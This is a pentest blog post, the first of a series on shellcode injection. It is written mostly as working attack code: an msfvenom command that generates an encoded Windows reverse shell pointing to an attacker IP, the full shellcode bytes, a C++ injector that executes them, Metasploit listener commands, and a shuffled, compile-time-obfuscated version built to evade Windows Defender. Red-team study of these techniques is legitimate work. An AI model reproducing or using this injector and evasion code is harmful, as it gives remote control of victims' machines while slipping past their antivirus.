{{tag>it-security windows kali pentest blog english}} ====== Shellcode Injection Part 1 ====== In this series of articles, we look at shellcode, how to inject it into processes and some techniques for obfuscating binary files. In the first part, we look at how to inject shellcode from a local process. ausführt.((https://www.ired.team/offensive-security/code-injection-process-injection/process-injection)) In addition, we disguise the program so that Defender no longer recognises it as a threat. You can find all the required files in the [[en:it-security:blog:shellcode_injection-1#Repository|repository]] \\ \\ ===== Generate shellcode ===== {{page>en:vorlagen:attention}} {{it-security:shellcode-part1.jpg?900|}} We generate the shellcode with ''msfvenom'' and use the following parameters: ^ Parameter ^ Description ^ | -p - Payload | x86 Reverse Shell | | LHOST | IP of the attacker | | LPORT | Listening port of the attacker | | -b - Bad Chars | We have to filter out special characters, as they make the shellcode unusable | | -e - Encode Shellcode | We encode our shellcode | | -i - Iterations | Specifies the number of encoding operations | | -f - Format | The output should be in C format | | > shell.c | Save to the file shell.c | msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c \\ \\ ===== C++ Injector ===== We create a new C++ project and insert the shellcode. We also need the size of the bytes. We take this from the ''msfvenom'' output. #include #include //shell.c unsigned const char payload[] = "\xd9\xe9\xbb\x1b\x2c\xe5\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9" "\xb1\x81\x83\xc2\x04\x31\x5a\x14\x03\x5a\x0f\xce\x10\x6e" "\xce\xb6\xb5\x28\xcb\x04\x90\x43\xcf\x7e\x78\x9f\xc6\xce" "\x05\x5c\x33\xcc\xcb\x21\xd3\x2e\x6f\xb6\xd0\x7d\xda\xd1" "\xaf\xa7\x1c\xd8\xfb\xa2\x94\xd6\xb1\xf3\x25\xe5\x3e\xdb" "\x7d\x58\xb1\x51\x2d\x07\x37\x6d\x9b\x0b\xbe\x1c\x57\xcb" "\x7f\x5d\x32\xd5\xd1\x71\x14\x2e\x07\xef\x45\x69\x0c\x3e" "\x8d\xca\xb1\x7d\xc4\x07\x4f\xf7\xd8\xe8\x37\x33\xeb\x67" "\xd8\x97\xb6\xf5\xbf\xde\xb3\xd9\x6a\xf1\x94\x7b\x68\x21" "\xcc\xab\xda\xcd\xd1\x43\xef\x4e\x2a\x1d\xd1\xb7\xec\x24" "\x62\x0b\xc5\x61\x48\xe2\x7c\x9e\x54\x9f\x2d\x8c\x38\x09" "\x23\x13\xb2\x6d\x6f\xe8\xdc\xad\xe3\x99\x14\x89\xca\x07" "\x67\xf2\x09\xdb\x2e\x38\x9f\x2c\xc4\x12\xf5\x18\x94\xf5" "\xb1\xed\x84\x6f\xfe\xbb\x23\xf4\xae\x10\x62\x2f\x63\x2b" "\x6a\x3c\x22\x7a\xd3\x96\x15\x99\xb0\x62\x38\xbe\x93\x1e" "\x72\xcc\xe3\xef\xa9\x9a\xaa\xc9\xda\xd5\x09\xed\x4f\xb2" "\x61\x18\x48\x9c\x0b\x45\xcb\xab\xaf\x91\x20\xc2\x66\x39" "\xac\x66\xd2\x21\x83\x13\xb4\x12\xcb\x39\x55\x20\x19\xff" "\xa3\x8b\xaa\x6e\x3e\x90\x31\x49\x19\x74\x7f\x1f\x89\xfe" "\x89\xdd\x65\xa2\x5b\xa0\x13\xe4\x6b\x18\x99\xde\xfc\x63" "\x9e\x9b\x7b\x6d\x65\x6d\xf4\x5b\x39\x08\x89\xb1\x85\xd8" "\x6a\x29\x88\x5a\xdd\x14\x8e\xb9\xc0\xae\x63\x89\xbe\x13" "\xa6\xf3\xc2\x19\xa8\x41\x5d\xf7\x11\x02\x45\xd3\xec\xa1" "\x88\x13\x57\xb7\x0b\x7d\x79\x5a\x0c\x60\xde\x6b\x6c\x4c" "\x61\xe3\x74\x88\xbd\x6a\xda\x43\xca\xb8\xe4\x07\xd4\x5a" "\x92\x04\xd9\x18\xb0\x57\x8d\xf3\x87\x65\x56\x06\x21\xb3" "\x02\x9b\xc4\x87\x56\xed\x6b\xef\xbb\x9f\x21\xbf\x7f\x12" "\x4d\x3b\xdc\xf7\x4c\xc6\xf5\xe7\x30\x05\x87\x7f\x7c\x19" "\x72\x86\x62\xc4\x7a\x8f\xd6\xc9\x19\xe8\x6e\xa7\x54\x04" "\xd9\xbf\x94\x69\xeb\x41\x64\xac\xd5\xe4\x47\xfe\x5d\x2d" "\x90\xf9\xea\x18\x62\x76\x01\xe6\xc3\xe5\xd6\xfa\x32\x22" "\xc0\xf6\x86\x5f\x16\x3a\x4a\x1e\x59\xe3\x0c\x4b\x69\xd2" "\x6d\x80\xef\x45\x49\xc2\x36\xe5\x78\x72\x55\xf3\x4d\xbe" "\xbb\xac\x88\xcc\x8d\xcb\xc1\x6f\x40\xd7\x54\x7e\xa2\x5d" "\xcc\x6a\xdc\x99\x59\x67\x84\xb4\x05\xba\x33\x43\x48\xb5" "\x9b\x22\xa7\xc6\x06\xf6\x36\x3f\x4b\x29\xf8\x66\xa8\xfb" "\x55\x5f\x07\xa4\xfd\x5f\x98\x69\x71\xcc\xb6\x2f\x6e\x9d" "\xf1\xe6\x99\x70\x04\x05\x47\xb3\x1e\xe3\xb7\xa9\x6f\x42" "\xb1\xda\xeb\x37\x61\x5e\x20\x23"; //size is given by msfvenom after shellcode creation size_t size = 540; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, payload, size); ((void(*)())code)(); return(0); } \\ \\ ==== Analyse shellcode ==== After compiling, we load ''inject.exe'' in the debugger and take a close look at the shellcode. This gives us a rough overview of how it works. [{{it-security:inject-shellcode-5.png?600|Shellcode in the debugger}}] \\ \\ ==== Prepare Metasploit ==== Now we start a handler in Metasploit that accepts the reverse shell. msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lport 445 lport => 445 msf6 exploit(multi/handler) > set lhost 172.23.61.130 lhost => 172.23.61.130 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 172.23.61.130:445 \\ \\ ==== Execute shellcode ==== We now start ''Inject.exe''and look at the output in Metasploit and the process details on the victim machine. [{{it-security:inject-shellcode-4.png?600|Reverse shell on the attacker machine}}] [{{it-security:inject-shellcode-3.png?600|TCP connection from Inject.exe}}] \\ \\ ===== Under the Defender radar ===== ''Inject.exe'' is of course easily recognised by anti-virus software. We therefore have to disguise the shellcode. We do this with the tool jigsaw ((https://github.com/RedSiege/Jigsaw)) tool and the Obfy framework. \\ \\ ==== Cloaking shellcode - Jigsaw ==== First we create the shellcode in raw format: msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f raw > shell.raw Then we pass this to Jigsaw: python3 jigsaw.py shell.raw and get a file with C++ code. unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, ... 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } #include #include size_t size = 540; unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc, 0xa0, 0x2e, 0x63, 0xe4, 0x7f, 0xea, 0x13, 0x2c, 0xaa, 0x6c, 0xbf, 0xdb, 0x4a, 0x69, 0xaa, 0x4d, 0x71, 0xd6, 0x4c, 0x61, 0x65, 0x59, 0xc3, 0x5f, 0x43, 0xf3, 0x94, 0xdf, 0x59, 0x8d, 0xbb, 0x25, 0x8f, 0x6f, 0x17, 0x1d, 0xd7, 0xa1, 0xef, 0x9b, 0xe0, 0x31, 0x15, 0x36, 0xe2, 0x5c, 0xa5, 0x94, 0x60, 0x01, 0x2b, 0x08, 0x01, 0x9f, 0xa1, 0x14, 0x2b, 0x86, 0x1f, 0xbf, 0xd1, 0x0f, 0xbf, 0x03, 0x28, 0xc1, 0x10, 0x4d, 0x66, 0x32, 0xd0, 0xcb, 0x4e, 0x34, 0xdf, 0xeb, 0x99, 0xf2, 0x14, 0x3f, 0x4c, 0xf8, 0xed, 0xc1, 0xbd, 0x0e, 0x9b, 0xc1, 0x57, 0xd5, 0x1d, 0x01, 0xf5, 0x79, 0xd1, 0xc4, 0xea, 0xc0, 0xcf, 0x0c, 0xea, 0x05, 0x9d, 0x8c, 0x8d, 0x9a, 0x2d, 0x94, 0x5b, 0x05, 0xde, 0x37, 0xa6, 0x17, 0x80, 0x07, 0x83, 0x6a, 0x2d, 0xe4, 0xd5, 0xc3, 0x85, 0x71, 0x2a, 0xa4, 0x3d, 0xf6, 0x5c, 0xc8, 0x6c, 0x6a, 0x86, 0xf3, 0x5c, 0x67, 0x4d, 0xdc, 0x11, 0xff, 0x81, 0xce, 0x3b, 0x9c, 0x4d, 0x98, 0xe8, 0xd4, 0x6a, 0x3e, 0x4b, 0x51, 0xd5, 0x4c, 0xfc, 0xe4, 0x8e, 0x6a, 0xc1, 0x63, 0x54, 0x7f, 0x61, 0xa4, 0x42, 0x60, 0xb5, 0x4d, 0x92, 0xd9, 0x08, 0x22, 0x23, 0xbe, 0x82, 0x9f, 0x4c, 0xeb, 0x8c, 0x3a, 0x6e, 0x88, 0xd0, 0x5a, 0xe0, 0xae, 0x42, 0x38, 0x4d, 0x31, 0xd0, 0xe6, 0x72, 0x54, 0xb3, 0x2b, 0x8d, 0x2f, 0xca, 0x38, 0x92, 0xe6, 0x38, 0xfd, 0xa1, 0x9c, 0x70, 0xd0, 0xe5, 0xb5, 0xff, 0xe1, 0x0e, 0x81, 0x4a, 0xc5, 0x67, 0x57, 0x3a, 0x33, 0xa0, 0xc8, 0x7f, 0xe6, 0x6c, 0xf1, 0x77, 0x3d, 0xdd, 0x63, 0xa1, 0xf9, 0x4f, 0x99, 0xf1, 0x8a, 0xb3, 0x60, 0xf6, 0xae, 0x86, 0xd5, 0x3e, 0x61, 0xc4, 0x93, 0xd9, 0x2d, 0xbe, 0xe2, 0xf0, 0xec, 0x13, 0x85, 0x91, 0x8a, 0x95, 0x37, 0x9f, 0x41, 0x43, 0x3c, 0xda, 0x81, 0xb3, 0xf5, 0xa9, 0x5f, 0x3e, 0x06, 0x0e, 0x47, 0x03, 0x5e, 0x28, 0xec, 0x54, 0x9f, 0x95, 0xca, 0x59, 0xee, 0x9a, 0xd2, 0xe5, 0xa4, 0x32, 0xcf, 0xb9, 0xe5, 0xd8, 0x78, 0xe8, 0xb1, 0xa5, 0xee, 0xe5, 0x4e, 0x2c, 0x8b, 0xc3, 0x5b, 0x7d, 0x23, 0x18, 0x64, 0xda, 0x56, 0x59, 0xa9, 0x95, 0x6f, 0x9e, 0x9b, 0x3c, 0xcb, 0x2a, 0x54, 0x6a, 0x5c, 0x25, 0xf6, 0xc1, 0xf9, 0x5c, 0xab, 0xe5, 0xd0, 0x8b, 0xdd, 0xd0, 0x74, 0xda, 0x68, 0x09, 0x52, 0x25, 0xd0, 0xa9, 0xd1, 0xba, 0x9f, 0xcd, 0x41, 0x54, 0x15, 0x12, 0xba, 0xd2, 0xd5, 0xdd, 0x35, 0x76, 0xa8, 0x5a, 0xdc, 0xf0, 0xdb, 0xbd, 0x32, 0x47, 0x6d, 0x4b, 0x89, 0x17, 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 }; int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, calc_payload, size); ((void(*)())code)(); return(0); } However, Jigsaw alone is not enough at this point, as Defender still recognises the file. {{it-security:inject-shellcode-6.png?600|}} \\ \\ ==== Obfy - Obfuscation during compilation ==== Here we can use the so-called template metaprogramming. Here, source code files are generated during the compilation process, which make the binary file look different with each process. ((https://0xpat.github.io/Malware_development_part_6/))((https://www.fo-sec.com/articles/10-defender-bypass-methods#3)) To do this, we download [[https://github.com/fritzone/obfy|Obfy]] to include the header file in our project and set the macro instructions to start and end the code obfuscation. #include #include #include "instr.h" size_t size = 540; unsigned char jigsaw[540] = { ... }; int positions[540] = { ... }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); // Reconstruct the payload OBF_BEGIN for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } OBF_END code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, calc_payload, size); ((void(*)())code)(); return(0); } \\ \\ ===== Result ===== We compile our code and check with ''ThreatCheck''to check whether our file is recognised. [{{it-security:inject-shellcode8.png?600|No threats were found}}] [{{it-security:inject-shellcode-7.png?600|The execution is still working}}] \\ \\ ===== Repository ===== git clone https://github.com/psycore8/nosoc-shellcode \\ \\ ===== Outlook ===== In part 2 we will deal with injecting the shellcode into a remote process. \\ \\ ~~DISCUSSION~~